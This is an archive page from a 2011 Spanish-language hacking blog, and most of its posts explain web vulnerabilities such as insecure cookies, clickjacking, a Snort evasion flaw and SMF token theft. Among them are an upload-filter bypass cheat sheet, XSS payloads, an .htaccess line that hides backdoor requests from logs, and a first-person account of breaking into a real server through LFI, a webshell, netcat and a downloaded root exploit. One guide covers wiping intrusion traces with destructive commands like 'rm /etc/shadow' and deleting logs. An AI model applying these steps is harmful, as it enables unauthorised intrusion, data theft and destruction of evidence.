lunes, 29 de agosto de 2011

0verBypass.pl : herramienta para auditar uploaders

Saludos!

Hace un par de días escribí un post, a modo de chuleta, para tener reunidas las técnicas más comunes para poder saltarse las restricciones de los uploaders, y de esta forma poder subir archivos con extensiones no permitidas (como PHP por ejemplo). En ese mismo post Seth me comentó que hiciera alguna herramienta que automatizara un poco esto, asi que me puse a codear algo para auditar. La herramienta está todavía pendiente de perfeccionarse, ya que tengo pensado añadir más opciones (por ahora sólo puede testear de 5 formas diferentes, que son suficientes pero cuantas más añada mejor), y además quiero permitir la subida de una shell desde un archivo.


El código se puede depurar bastante, aunque usando subrutinas he conseguido simplificar bastante el primer esbozo que había hecho, asi que admito sugerencias para simplificarlo aun más.

Source de la herramienta [Click Aquí]

Quiero aclarar que, además de las 5 técnicas para realizar el bypass que puedes seleccionar, subo los archivos con las extensiones alternando en mayúsculas/minúsculas (para saltar filtros case sensitive con listas negras de palabras) y intento camuflar la shell como una imagen .gif añadiendo al inicio el header GIF89a y poniendo como Content-Type image/gif.

5 0verl0ad Labs: agosto 2011 Saludos! Hace un par de días escribí un post, a modo de chuleta , para tener reunidas las técnicas más comunes para poder saltarse las ...

viernes, 26 de agosto de 2011

Insecure Cookie Handling




Saludos!

El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo inseguro" me refiero tanto a que las cookies pueden contener una información sensible en sí misma, o que las aplicaciones web utilizan las cookies sin tomar en cuenta aspectos básicos de seguridad.

El caso más conocido por todos es el de las cookies predecibles, como lo son Admin=1, usr=admin, User=1, etc. Normalmente las aplicaciones vulnerables suelen contar con un checkeo de la cookie bastante rudimentario basado en una simple comparación tipo:
if ( isset($_COOKIE['id']) && $_COOKIE['id'] == 1 )


Suponiendo que ese código fuese la comprobación de seguridad para acceder al panel de administración, podemos ver que podría bypassearse creando una cookie llamada id y de valor 1. En otros casos no es tan fácil de darse cuenta de que es un manejo inseguro porque el valor de la cookie está "camuflado"

En estos casos lo que requiere la explotación es tener imaginación y hacer pruebas hasta encontrar un patrón:


...
$cookie = $usuario . rand(0,10);
$cookie = base64_encode($cookie);
...


En este caso la cookie aparecería en base64 y además variaría por los números random generados, pero como podemos darnos cuenta hay muy poca entropía, por lo que sería fácil dar con una cookie existente y usurpar a un usuario.


Pero este fallo de seguridad no sólo puede utilizarse para escalar privilegios sino que también puede aparecer en otros sitios, como tiendas online, por poner un ejemplo, donde el precio de los productos adquiridos queden almacenados en la cookie y después use esos datos para realizar la factura (puede sonar rocambolesco pero os aseguro que por ahí ví el reporte de una vulnerabilidad similar).

Para realizar un ataque de fuerza bruta con atributos y valores de cookies well-known y tratar de escalar de esta forma privilegios Seth codeó una herramienta en JavaScript para GreasyMonkey que podeis ver aquí: CHPMEGAC00KIEH4X . Actualmente si quereis echar una mano con su proyecto podeis mandarle más pares atributo/valor de cookies para que las añada al diccionario.
5 0verl0ad Labs: agosto 2011 Saludos! El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo...

jueves, 25 de agosto de 2011

CheatSheet to bypass uploaders

1. Escribir la extensión del archivo alternando mayúsculas/minúsculas (.pHp, .PHp, .pHP...)
2. Uso de extensiones menos conocidas (.php5..)
3. Doble extensión (.jpeg.php)
4. Mandar una cabecera HTTP con el MIME type modificado por uno que admita (image/gif, image/JPEG)
5. Incluir al inicio del archivo la cabecera de una extensión permitida (GIF89a)
6. Añadir al final del nombre del archivo espacios y/o puntos (shell.php ... ......)
7. Usar null bytes
8. Incluir caracteres extraños (";", "&", "[" => shell.php;jpeg)
9. Bypass getimagesize() => Incluir la shell dentro de los metadatos de una imagen real (usando 0verLFI) y después modificar el MIME type
10. Abuso de la normalización de rutas (shell.php/./././[...])
11. Subida de un .htaccess que cambie las extensiones de los archivos ( ForceType application/x-httpd-php )

Estas son las que se me vienen ahora a la cabeza, si a alguien se le ocurre alguna más que la postee en los comentarios.
5 0verl0ad Labs: agosto 2011 1. Escribir la extensión del archivo alternando mayúsculas/minúsculas (.pHp, .PHp, .pHP...) 2. Uso de extensiones menos conocidas (.php5..)...

PHP File Path Injection

Saludos,

Ya había leído algo de esto por Twitter y quería haber escrito algo pero se me pasó. Hoy he estado echando un ojo por Security Focus y lo he vuelto a encontrar así que me dispongo a explicar brevemente de que se trata.


La vulnerabilidad (CVE-2011-2202) permite a un atacante crear archivos en root (/) al realizar la subida de un archivo en cualquier directorio. Esto es debido a que en PHP permite que el nombre de los archivos empiecen por / o \. De esta forma es posible subir un archivo poniendo como filename /loquesea. Por supuesto que es necesario primero tener los permisos de escritura adecuados.

El exploit es tan simple como subir el archivo con la respectiva "/" o "\". Las versiones afectadas son =<5.3.6
5 0verl0ad Labs: agosto 2011 Saludos, Ya había leído algo de esto por Twitter y quería haber escrito algo pero se me pasó. Hoy he estado echando un ojo por Security...

lunes, 22 de agosto de 2011

HTML5 [IV]: Local Storage y las cookies zombis (o supercookies)

Saludos!

Empiezo a escribir este post haciendo tiempo para que empiece Mundo Hacker TV (aunque lo terminaré después del programa), lo recomiendo si no haces nada más interesante a estas horas (quien me diría a mí que alguna vez promocionaría algo emitido por Telecinco).

En otra ocasión, hace apenas unos meses, ya comenté algo sobre las cookies zombis, hablando bastante someramente de qué se trataba y recomiendé la API para JavaScript "Evercookie". Ahora vuelvo a retomar el tema porque recientemente ha saltado la liebre con las cookies de seguimiento zombis que usaban KissMetrics y Hulu (no voy a entrar en detalles, hay cientos de webs hablando del caso). A esto se le suma toda la parafernalia de HTML5 y la seguridad, cosa que me está gustando bastante indagar (gracias a Seth y a @Franjoespejo que me están cebando a publicaciones interesantes).


Entrando ya en materia quizás lo primero que debemos de saber es... ¿Qué diablos es eso de Local Storage que han metido con HTML5? Pues la respuesta es sencilla: almacenar información desde el lado del cliente para agilizar la carga de páginas y similares. Presenta ciertas ventajas sobre las cookies de toda la vida, como pueda ser sus 5 Mb de capacidad de almacenamiento, o el tiempo de permanencia.

El concepto base de las cookies zombis es poder respawnear la cookie, utilizando información almacenada en el cliente. De esta forma, en el caso de las empresas de tracking por ejemplo, pueden asignar un identificador a un usuario (una cookie HTTP) para realizar estudios de comportamiento, y además guardar "copias" de dicho identificador en el ordenador del usuario. Cuando el usuario borre la cookie, ésta volvera a ser creada utilizando como molde las copias escondidas. Creo que se entenderá mejor con una sencilla prueba de concepto:


<----Web_original.html------->

<script>
localStorage.setItem("Foo", "Foo=0verl0ad;expires=Thu, 2 Aug 2020 20:47:11 UTC;");
document.cookie = localStorage.getItem("Foo");
</script>


<----Respawner.html----->

<script>
document.cookie = localStorage.getItem("Foo");
alert(document.cookie);
</script>


Primero entramos en Web_Original.html, vemos en nuestro navegador (el PoC lo he ejecutado en Firefox 6.0, si a alguien no le funca que lo ponga en los comentarios) que la cookie se ha creado, y procedemos a borrarla. Ahora vayamos a Respawner.html y... ¡Tachan! ¡Ha vuelto a la vida!

Nuestro primer archivo HTML hace dos cosas: por un lado crea la cookie, y por otro crea una copia valiéndose de Local Storage. Después, cuando borramos la cookie y vamos a Respawner.html volvemos a crear la cookie con la copia que ya teníamos almacenada. Esto mismo pero almacenando la información en muchos más sitios es lo que hacía evercookie.

Ahora bien, el cómo implementan este concepto las grandes empresas de seguimiento es algo que descozco y que supongo que cada empresa mantendrá esto en secreto. En líneas generales supongo que cada vez que se entre en un sitio controlado por una de estas empresas se comprobará si existe una cookie, de no existir se buscará entre el registro de Local Storage para respawnearla, y si tampoco hay nada allí crearán una de nuevo.


Está claro que Local Storage va a traer más de un quebradero de cabeza al unirse con otras técnicas como puedan ser XSS o SQLi, pero es tema para otro post.

PD: entre unas cosas y otras he terminado a las 5:50 am, probáblemente haya metido la pata en alguna parte, si es así avisadme.
5 0verl0ad Labs: agosto 2011 Saludos! Empiezo a escribir este post haciendo tiempo para que empiece Mundo Hacker TV (aunque lo terminaré después del programa), lo r...

viernes, 19 de agosto de 2011

Eliminación de huellas

Existen tantos tipos de huellas, como tipos de ataques realizados.

Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pueden cojer.

Para entrar a robar a una casa, puede tirarse la puerta a patadas, utilizar una palanca (Fuerza Bruta), Ganzuas... En el primer caso hay que recomponer la puerta, en el seguro repararla, en el tercero, deshacerse de las ganzuas.
Esto no implica que no queden otros rastros.

Existen muchos tipos de herramientas, backdoors, sniffers para capturar datos, logs de acceso de Apache u otros servicios (daemons)...

Muchos "Hackers" se limitan a eliminar los access_logs del apache, destruir webshells y backdoors, y root exploit's (Lo cual olvidé en mi último relato, por lo que supieron de la actividad, aunque no conocen su autor), y la cosa no es así.

Si creamos un usuario, no bastaría con eliminar la cuenta... ¿Cómo creaste el usuario? ¿Mediante comandos?

El fin de esta guía no es realizar el ataque perfecto, sino más bien una orientación.
Existen multitud de herramientas, tales como Zappers que afirman eliminar todo rastro... Cuando esto no es así.

Daremos un repaso por los medios más utilizados.

A) Destrucción del sistema
A-1) Esto ocurre cuando la evidencia es tal, que no queda otro remedio.

La forma más común, almenos en mi caso, seria inhabilitar el login, y causar un tal destrozo que el único medio sea la destrucción total o parcial. He aquí algunos comandos de interés:
rm /etc/passwd
rm /etc/shadow
rm /bin/login
rm /bin/rm
rm /etc/inetd.conf
killall login

B) Capturando y eliminando los access log de Apache.
B-1) Esta opción solo es viable si únicamente realizaste un ataque a nivel Web, por ejemplo, una Webshell

Los directorios más comunes son:
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
etc/httpd/logs/acces_log
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache2/access_log
var/log/apache/access.log
var/log/apache2/access.log
var/log/access_log
var/log/access.log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache2/error_log
var/log/apache/error.log
var/log/apache2/error.log
var/log/error_log
var/log/error.log
var/log/access_log
var/log/access_log

Se puede eliminar con RM, o editar, pero para asegurarse de no dejar nada mal, hacer uso de Tee.

C) Eliminar el Bash History
C-1) Si, es algo lógico, que mucha gente olvida...
C-2) Es tan sencillo como editar y/o eliminar el .bash_history o .sh_history
C-3) Recordar: Esto se hace JUSTO ANTES de salir.

D) Eliminar todo rastro de exploits, webshells, sniffers, ...
D-1) Como comenté, me descubrieron por dejar un Root Exploit. No saben quien fué, pero ahí supongo que seguirá.

E) Tener cuidado con los cambios en el sistema
E-1) Este paso es vital. Si hiciste un cambio y te agarran, será peor que si solo realizaste la intrusión, dependiendo del pais en el que residas.

F) Cuidado con los Backdoors
F-1) Durante un corto tiempo puede pasar inadvertido, durante más, puede ser descubierto... Más vale prevenir que curar.

G) Eliminar toda cuenta realizada, sobre todo si tiene permisos de Root
G-1) No basta con eliminar los permisos de shell (/sh/false)

H) Cuidado: Si hay alguien más logeado al sistema, puede ser muy peligroso.
H-1) Pueden capturarte fácilmente, además de rastrearte sin el más minimo problema.

I) Desconfia de todos. El anonimato implica el silencio absoluto, discreción, y seguridad. Jamás digas "Ataqué X servidor", si hay necesidad, "Ataqué un servidor". Fuera del sistema, si eres buscado, no dudes que te espiarán.
I-1) No existe proxy seguro, solo muy faciles, faciles, complejos, y extremadamente complejos. Pero no seguros.

J) Cuidado con el syslog.
J-1) En ocasiones puede ser más complejo de lo habitual deshacerse de cambios realizados en el.

K) Comandos de interés:
-Who: Lista usuarios activos.
-last: Ultimo inicio de sesión de usuario.
-ps: Procesos activos.
-lastcom / hostory: Comandos realizados. Véase apartado C.

L) Ficheros peligrosos:
-utmp: Guarda un registro (log) de los usuarios que están utilizando el sistema mientras estan conectados al sistema. Directorios: /var/adm/utmp y /etc/utmp
-wtmp: Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema.
-lastlog: Guarda un log del momento exacto en que un usuario entro por ultima vez.
-acct o pacct: Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados).

Despedida:
Bueno, como comenté en mi último relato, espero sea de su agrado.

Se aceptan críticas, sugerencias, y amenazas de muerte.

Como siempre digo: "Más vale saber que haces, que saber hacer"

Un saludo!
5 0verl0ad Labs: agosto 2011 Existen tantos tipos de huellas, como tipos de ataques realizados. Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pue...

.htaccess: ocultar backdoor

Saludos,

No es raro que cuando un atacante logra vulnerar la seguridad de nuestra web éste deje un backdoor en los archivos originales de la web para poder tener acceso de nuevo en un futuro. Lo ideal es que tras un ataque se analicen todos los archivos alojados para comprobar si han inyectado algo raro, pero eso no siempre pasa en la realidad y los backdoors quedan escondidos hasta que sean utilizados.

Leyendo un paper sobre troyanos en PHP me he encontrado con una idea bastante interesante de cómo ocultar las peticiones al archivo que está infectado (en realidad exponen varias ideas que combinan pero voy a comentar esta en concreto). Lo que proponen es la creación de un .htaccess en cuyo interior haya una directiva que indique que no se logueen las peticiones a nuestro archivo backdooreado (en el caso del paper la cosa era algo diferente, por lo que he comentado antes de que usa varios métodos). Básicamente esto podríamos hacerlo con la siguiente línea:


SetEnvIf Request_URI "^/0verl0ad/XC3LL\.php$" dontlog


SetEnvIf sirve para definir variables de entorno a partir de los parámetros de las peticiones, pudiendo usar para ello los headers incluso. En este caso el atributo con el que se define es Request_URI (la URI es la parte de la URL que viene detrás del dominio). Tanto ^ como $ son parte de regexp (expresiones regulares), denotando la primera el inicio del string y la segunda el final. Por último "dontlog" es lo que indica que no loguee.

En resumen esa directiva deshabilitaría el log de las peticiones que se realicen a la URI señalada (esa URI sería donde tendríamos el archivo backdorizado).
5 0verl0ad Labs: agosto 2011 Saludos, No es raro que cuando un atacante logra vulnerar la seguridad de nuestra web éste deje un backdoor en los archivos originales...

miércoles, 17 de agosto de 2011

El fingerprinting dentro de la Seguridad Web

Saludos,

Me he entretenido estas últimas noches en escribir este pequeño PDF. De entrada digo que no hablo de nada nuevo, símplemente es una recopilación de diferentes técnicas para que los que empiezan conozcan un poco más de este tema. Si alguien puede hacer mirrors sería de agradecer.

Indice:
1. Introducción
2. Identificación de aplicaciones web
2.1. Información dentro de HTML
2.2. Códigos de estado HTTP
2.3. Checksums
2.4. Motores de búsquedas
2.5. Robots.txt
3. Identificación de Servidores Web
3.1 Análisis de cabeceras HTTP
3.2 HTTP Parameter Pollution / Contamination
4. Referencias

DESCARGA => SlideShare
MIRROR => AnyHub
EXPLOIT-DB => Descargar
5 0verl0ad Labs: agosto 2011 Saludos, Me he entretenido estas últimas noches en escribir este pequeño PDF. De entrada digo que no hablo de nada nuevo, símplemente es ...

lunes, 15 de agosto de 2011

Evadiendo Snort con Paquetes Fragmentados

Hace unos días, iDefense publico un advisory sobre una vulnerabilidad en el preprocesador Frag3 de Snort que permitiría evadir la detección de un ataque con paquetes fragmentados.

Definitivamente esta vulnerabilidad no tuvo el mismo impacto mediático que la catástrofe criptográfica de Debian, pero que todas las redes protegidas por Snort, hayan sido susceptibles a ataques de los que nadie se ha enterado, no es para nada poca cosa.

Parte del advisory de iDefense decía lo siguiente:

"Due to a design error vulnerability, Snort does not properly reassemble fragmented IP packets. ... In order to exploit this vulnerability, an attacker would have to fragment IP packets destined for a targeted host, ensuring that the TTL difference is greater than the configured maximum. By default, the maximum difference is 5."

¿ Cuál es el problema ?

Básicamente, el problema se debía a la opción "ttl_limit" de frag3, que por default tiene un valor de 5. Esto significa que si llegaba un fragmento con una TTL de 40, y luego otro con una TTL de 46, debido a la vulnerabilidad encontrada estos fragmentos no serían controlados por la política de Snort.

Al parecer esto se debió a un error de concepto introducido en Snort 2.6 y 2.8, y que ha sido corregido por Sourcefire en el nuevo release 2.8.1. iDefense también propone un workaround a este problema, que consiste en llevar el "ttl_limit" a su valor máximo de 255.

¿ Qué es frag3 y porque controla la TTL ?

frag3 es un preprocesador de Snort. Un preprocesador sirve para detectar ataques que no pueden ser detectados mediante una comparación de firmas, o para normalizar datos que luego si puedan ser detectados por comparación de firmas. En particular, el preprocesador frag3 se encarga de reensamblar paquetes fragmentados para poder comparar el payload con firmas de ataques.

Una de las técnicas mas usadas para evadir un IDS es la fragmentación de paquetes, por lo que frag3 no solo reensambla los paquetes, sino que también verifica que no se este intentando realizar una evasión mediante paquetes fragmentados, y aquí es en donde entra en juego el control de la TTL.

frag3 posee 2 opciones para controlar la TTL, una es "min_ttl" y la otra es "ttl_limit", en la cual se descubrió la reciente vulnerabilidad. Veamoslas un poco más:

- min_ttl: Indica el valor mínimo de TTL que debe tener un paquete para ser aceptado. Esto es útil para detectar ataques de evasión en los que entre nuestro IDS y el target hay un router. La idea de estos ataques es enviar un paquete fragmentado con una TTL muy chica que al pasar por el router expire.

Por ejemplo, mandamos 3 paquetes fragmentados a un target, el primero y el tercero poseen un payload de ataque y una TTL alta, mientras que el segundo paquete posee un payload con datos basura y una TTL muy chica. Cuando Snort reensamble los 3 paquetes, se mezclará el payload de ataque con los datos basura, y ninguna comparación de firmas detectará el ataque. Como el segundo paquete tiene una TTL muy chica, va a expirar cuando pase por el router, y solamente llegarán al target el primer y el tercer paquete, que efectivamente tenían el payload de ataque.

- ttl_limit:
Como ya dijimos, esta opción controla la diferencia máxima del valor de la TTL que puede haber entre paquetes fragmentados con el mismo ID de fragmentación. Según se ha publicado, esto es un error de diseño que ya se venía arrastrando de versiones anteriores de Snort con frag2, y que en el futuro será descontinuado.

Al parecer, esta opción fue agregada porque herramientas como Fragroute, para realizar ataques de evasión con paquetes fragmentados, configuraban los campos de los paquetes con valores al azar que raramente se veían en tráfico normal. Por ejemplo, una diferencia de TTL de hasta 5 saltos podría llegar a ser normal ya que es posible que un paquete haya tomado una ruta mas larga, pero según entiende Snort más de 5 saltos ya es algo más raro.

Bueno, saludos a todos los administradores de Snort que seguramente deben tener mucho trabajo, primero corrigiendo esta vulnerabilidad, y después averiguando si en algún momento los han hackeado sin enterarse ;-)

Fuente: Kunfoosion.com
5 0verl0ad Labs: agosto 2011 Hace unos días, iDefense publico un advisory sobre una vulnerabilidad en el preprocesador Frag3 de Snort que permitiría evadir la detecció...

Relato de una intrusión

Hace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.

El sitio, por privacidad, lo llamaremos www.site.com.

Observe que la dirección del archivo a incluir lo pasaba mediante GET por la variable "site.com/index.phpPage=", a la cual se agregaba la extensión ".PHP" por seguridad...

Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.

Básicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para después buscar algún fichero que vulnerar.

En un primer intento, trate de enviarle la ruta: ../../../etc/passwd%00, el cual funciono exitosamente, y buscando, concluí que existía el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permitia la inclusión de PHP modificando via Live HTTP Headers.

Con todo esto, conseguí crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web.

Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.

Posteriormente, vía wget descargue un Root Exploit que encontré por la red, lo cual me permitió permisos de Root en dicho servidor.

Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...
Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decidí limpiar mis huellas y salir de ahí, con una clara conclusión:

Un solo fallo, lo pueden pagar muchos.

Mi único trofeo fue la copia de la Web, y de la base de datos.

Un saludo, y espero sea de su agrado mi primera publicación en este Blog.

Att: Yo-Mismo
5 0verl0ad Labs: agosto 2011 Hace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI. El sitio, por privacidad, lo llama...

miércoles, 10 de agosto de 2011

HTML5 [III]: Rompiendo medidas anti-Clickjacking

Saludos,

Continuamos hablando de HTML5 y sus implicaciones futuras en la seguridad, como ya hicimos anteriormente. En esta ocasión vamos a comentar la posibilidad de bypassear una de las medidas más comunes para evitar el clickjacking, utilizando para ello las innovaciones que se están implantando con HTML5.

La medida contra Clickjacking más común que adoptan las páginas webs es el Frame Busting, consistente en comprobar el atributo location, y si este es diferente al que debiera ser se manda la navegación a la página correcta. Normalmente se suele establecer este control usando un script sencillo en JS:


<script type="text/javascript">
if (top.location != location) top.location = self.location;
</script>



Entre los nuevos atributos introducidos con HTML5 se encuentra "sandbox", el cual permite añadir restricciones extra al contenido de un iframe. De esta forma se puede bloquear la ejecución de JavaScript, de formularios, etc. al cargar dentro del sandbox el iframe. Como exponen en este advisory la propia naturaleza del atributo sandbox deshabilita la protección contra ClickJacking, puesto que impide la ejecución del código JS que lleva a cabo tal acción.



Otra posible forma de evitar esta protección es usando el evento OnBeforeUnload (evento del cual ya hablamos en el anterior post) . Podemos usar este evento para que devuelva algún mensaje, provocando que el usuario lo cancele y permita visualizar el iframe dirigido a la víctima. Un posible PoC (extraído de JavaScrip.info) sería:

<script>
window.onbeforeunload = function() {
window.onbeforeunload = null
return "Maybe you want to leave the page, before you become rich?!?"
}
</script>

<iframe src="http://victima.com"></iframe>


Para ampliar más sobre el tema del bypass de los frame busters hay una publicación muy interesante que recomiendo:

Busting frame busting
5 0verl0ad Labs: agosto 2011 Saludos, Continuamos hablando de HTML5 y sus implicaciones futuras en la seguridad, como ya hicimos anteriormente. En esta ocasión vamo...

HTML5 y el bypassing de filtros XSS [II]

Saludos,

De nuevo vengo a publicar "nuevas" formas de bypassear filtros anti-XSS que se basen en listas negras de strings, como ya hice hace poco. Gracias a que HTML5 ha introducido nuevos eventos que nos permiten ejecutar JS podremos encontrar filtros que no hayan actualizado sus strings restringidos.

Los nuevos elementos que a priori he visto interesantes son OnBeforeUnload, OnUnLoad, y los eventos que se activan por teclado (OnKeyDown, OnKeyUp,OnKeyPress). Respecto a los primeros citados, estos se activan cuando se pierde la página donde se ejecuta, es decir, cuando por ejemplo cerramos la ventana, actualizamos, vamos hacia atrás, seguimos un link, etc. Se trata de una acción bastante común en la navegación, por lo que tenemos la certeza de que en algún momento va a ser ejecutado:

</body><body onBeforeUnload=alert(/XSSED/)>Alfa</body>


Por otra parte la familia de eventos "OnKey" se ejecutan cuando una tecla es pulsada (Down), cuando se levanta el dedo de ésta (Up), y cuando se han realizado ambas acciones (Press):

</body> <body OnKeyDown=alert(/XSSED/)>Charlie</body>
5 0verl0ad Labs: agosto 2011 Saludos, De nuevo vengo a publicar "nuevas" formas de bypassear filtros anti-XSS que se basen en listas negras de strings, c...

sábado, 6 de agosto de 2011

SMF 2.0: Privilege escalade (from Token Hijacking)

Saludos,


Como recordareis recientemente habíamos descubierto cierta vulnerabilidad en el sistema de foros SMF que nos permitía robar el token del staff (incluido el admin), y entre los posibles usos estaba el bypass de las protecciones contra CSRF. Como es lógico, lo primero que pensemos era en intentar hacer una escalada de privilegios hasta admin, cosa que nuestro querido amigo Seth logró.

En el siguiente disclosure se muestra el PoC codeado por Seth para escalar privilegios hasta admin, además de explicar cómo parchearlo y otra forma de obtener el token (también relacionado con el centro de moderación):

SMF 2.0: Session hijacking disclosure [English]
5 0verl0ad Labs: agosto 2011 Saludos, Como recordareis recientemente habíamos descubierto cierta vulnerabilidad en el sistema de foros SMF que nos permitía robar el...

miércoles, 3 de agosto de 2011

SMF 2.0: Token Hijacking

Saludos,


El otro día enredando y tratando de auditar cierto foro me encontré con este pequeña vulnerabilidad, que pudiera pasar por insignificante pero que sirve de llave para ejecutar un CSRF.

En primer lugar: ¿qué diablos es un token de sesión? Podemos entender como un token, en este contexto, como una cadena identificadora, generada en el momento de iniciar nuestra sesión, que permite autenticar nuestra acciones dentro de nuestra sesión como nuestras. De esta forma se evitan los ataques CSRF, puesto que si por ejemplo para realizar un logout es requerido el token (P.E.: http://webfalsa.com/index?action=logout;[aquí el token] ) a menos que el atacante lo conozca de antemano no podrá llevar a cabo el CSRF para desloguearlo.


Es por ello que cuando nos encontramos con la posibilidad de ejercer un robo de tokens nos estamos saltando esa restricción. En este caso concreto, el del sistema de foros SMF 2.0, el problema subyace en que el token es enviado por una petición HTTP de tipo GET, por lo que como ya escribí en su momento, se puede interceptar usando como sniffer un archivo .php en nuestro servidor (como se puede observar en el enlace.


Ahora bien, ¿donde se nos expone el token como para poder interceptarlo?. En el centro de moderación, cuando navegamos a través de él (viendo los logs, o cualquier otra cosa que atañe a los moderadores, y superiores, únicamente) y volvemos al apartado principal del centro de moderación, podemos observar en la url lo siguiente:

/index.php?action=moderate;area=index;e2971bcc=2fddd45d00d9d9482005af0737680afd

Siendo lo que está en negrita el token. En ese mismo sitio encontramos un apartado tipo tagboard ("Notas de moderación") en el cual podemos insertar BBCode, y entre las etiquetas permitidas se cuentra la recurrente [img].

Así pues, podremos capturar los token de sesión de los otros moderadores, gmods y administradores, y poder desarrollar a posteriori ataques tipo CSRF.
5 0verl0ad Labs: agosto 2011 Saludos, El otro día enredando y tratando de auditar cierto foro me encontré con este pequeña vulnerabilidad, que pudiera pasar por ins...
< >